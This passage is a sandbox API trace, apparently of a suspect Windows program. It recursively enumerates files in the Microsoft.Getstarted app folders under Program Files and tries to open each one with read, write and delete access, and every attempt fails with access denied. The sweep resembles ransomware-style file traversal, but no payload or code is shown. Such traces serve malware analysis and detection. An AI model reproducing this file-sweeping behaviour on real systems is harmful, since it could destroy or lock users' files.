	[0091.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\*", lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c24fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f93f661, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1e8
	[0091.825] wcscmp (_String1=".", _String2=".") returned 0
	[0091.825] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c24fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f93f661, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.825] wcscmp (_String1="..", _String2=".") returned 1
	[0091.825] wcscmp (_String1="..", _String2="..") returned 0
	[0091.825] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f93f661, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f93f661, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_accessibility.xml", cAlternateFileName="")) returned 1
	[0091.825] wcscmp (_String1="doc_offline_accessibility.xml", _String2=".") returned 1
	[0091.825] wcscmp (_String1="doc_offline_accessibility.xml", _String2="..") returned 1
	[0091.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4716e28
	[0091.825] wcscpy (in: _Dest=0x4716e28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US"
	[0091.825] wcscat (in: _Dest=0x4716e28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\"
	[0091.825] wcscat (in: _Dest=0x4716e28, _Source="doc_offline_accessibility.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_accessibility.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_accessibility.xml"
	[0091.825] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_accessibility.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_accessibility.xml")) returned 0x20
	[0091.826] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_accessibility.xml", dwFileAttributes=0x20) returned 0
	[0091.826] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_accessibility.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_accessibility.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.826] GetLastError () returned 0x5
	[0091.826] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_accessibility.xml", dwFileAttributes=0x20) returned 0
	[0091.826] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716e28) returned 1
	[0091.826] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f93f661, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f93f661, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f93f661, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2937, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_getconnected.xml", cAlternateFileName="")) returned 1
	[0091.826] wcscmp (_String1="doc_offline_getconnected.xml", _String2=".") returned 1
	[0091.826] wcscmp (_String1="doc_offline_getconnected.xml", _String2="..") returned 1
	[0091.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x50279d8
	[0091.826] wcscpy (in: _Dest=0x50279d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US"
	[0091.826] wcscat (in: _Dest=0x50279d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\"
	[0091.826] wcscat (in: _Dest=0x50279d8, _Source="doc_offline_getconnected.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_getconnected.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_getconnected.xml"
	[0091.826] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_getconnected.xml")) returned 0x20
	[0091.826] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_getconnected.xml", dwFileAttributes=0x20) returned 0
	[0091.826] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_getconnected.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.826] GetLastError () returned 0x5
	[0091.826] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_getconnected.xml", dwFileAttributes=0x20) returned 0
	[0091.826] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50279d8) returned 1
	[0091.827] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f93f661, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f93f661, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f93f661, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_narrator.xml", cAlternateFileName="")) returned 1
	[0091.827] wcscmp (_String1="doc_offline_narrator.xml", _String2=".") returned 1
	[0091.827] wcscmp (_String1="doc_offline_narrator.xml", _String2="..") returned 1
	[0091.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778260
	[0091.827] wcscpy (in: _Dest=0x4778260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US"
	[0091.827] wcscat (in: _Dest=0x4778260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\"
	[0091.827] wcscat (in: _Dest=0x4778260, _Source="doc_offline_narrator.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_narrator.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_narrator.xml"
	[0091.827] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_narrator.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_narrator.xml")) returned 0x20
	[0091.827] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_narrator.xml", dwFileAttributes=0x20) returned 0
	[0091.827] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_narrator.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_narrator.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.827] GetLastError () returned 0x5
	[0091.827] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_narrator.xml", dwFileAttributes=0x20) returned 0
	[0091.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0091.827] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f93f661, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f93f661, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f93f661, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_speechrecognition.xml", cAlternateFileName="")) returned 1
	[0091.827] wcscmp (_String1="doc_offline_speechrecognition.xml", _String2=".") returned 1
	[0091.827] wcscmp (_String1="doc_offline_speechrecognition.xml", _String2="..") returned 1
	[0091.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x4790b40
	[0091.827] wcscpy (in: _Dest=0x4790b40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US"
	[0091.827] wcscat (in: _Dest=0x4790b40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\"
	[0091.827] wcscat (in: _Dest=0x4790b40, _Source="doc_offline_speechrecognition.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_speechrecognition.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_speechrecognition.xml"
	[0091.827] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_speechrecognition.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_speechrecognition.xml")) returned 0x20
	[0091.828] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_speechrecognition.xml", dwFileAttributes=0x20) returned 0
	[0091.828] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_speechrecognition.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_speechrecognition.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.828] GetLastError () returned 0x5
	[0091.828] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_speechrecognition.xml", dwFileAttributes=0x20) returned 0
	[0091.828] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790b40) returned 1
	[0091.828] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f93f661, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f9658ba, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x115f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toc.xml", cAlternateFileName="")) returned 1
	[0091.828] wcscmp (_String1="toc.xml", _String2=".") returned 1
	[0091.828] wcscmp (_String1="toc.xml", _String2="..") returned 1
	[0091.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477eb90
	[0091.828] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US"
	[0091.828] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\"
	[0091.828] wcscat (in: _Dest=0x477eb90, _Source="toc.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\toc.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\toc.xml"
	[0091.828] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\toc.xml")) returned 0x20
	[0091.831] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\toc.xml", dwFileAttributes=0x20) returned 0
	[0091.831] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\toc.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.831] GetLastError () returned 0x5
	[0091.831] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\toc.xml", dwFileAttributes=0x20) returned 0
	[0091.831] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0091.831] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f93f661, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f9658ba, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x115f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toc.xml", cAlternateFileName="")) returned 0
	[0091.831] FindClose (in: hFindFile=0x477b1e8 | out: hFindFile=0x477b1e8) returned 1
	[0091.831] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502fbd0) returned 1
	[0091.831] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12758) returned 1
	[0091.831] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719050) returned 1
	[0091.831] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c24fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f93f661, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0091.831] FindClose (in: hFindFile=0x477b4a8 | out: hFindFile=0x477b4a8) returned 1
	[0091.832] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f498) returned 1
	[0091.832] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.832] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb670) returned 1
	[0091.832] FindNextFileW (in: hFindFile=0x2d880b8, lpFindFileData=0x47452d0 | out: lpFindFileData=0x47452d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c2a52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="holoLens", cAlternateFileName="")) returned 1
	[0091.832] wcscmp (_String1="holoLens", _String2=".") returned 1
	[0091.832] wcscmp (_String1="holoLens", _String2="..") returned 1
	[0091.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926008
	[0091.832] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content"
	[0091.832] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\"
	[0091.832] wcscat (in: _Dest=0x4926008, _Source="holoLens" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens"
	[0091.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4926328
	[0091.832] wcscpy (in: _Dest=0x4926328, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens"
	[0091.832] wcscat (in: _Dest=0x4926328, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\"
	[0091.832] wcscat (in: _Dest=0x4926328, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\*"
	[0091.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50313e0
	[0091.832] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\*", lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c2a52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b328
	[0091.832] wcscmp (_String1=".", _String2=".") returned 0
	[0091.832] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c2a52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.832] wcscmp (_String1="..", _String2=".") returned 1
	[0091.832] wcscmp (_String1="..", _String2="..") returned 0
	[0091.832] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c2f47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0091.832] wcscmp (_String1="en-US", _String2=".") returned 1
	[0091.832] wcscmp (_String1="en-US", _String2="..") returned 1
	[0091.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4717990
	[0091.832] wcscpy (in: _Dest=0x4717990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens"
	[0091.833] wcscat (in: _Dest=0x4717990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\"
	[0091.833] wcscat (in: _Dest=0x4717990, _Source="en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US"
	[0091.833] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e11fc0
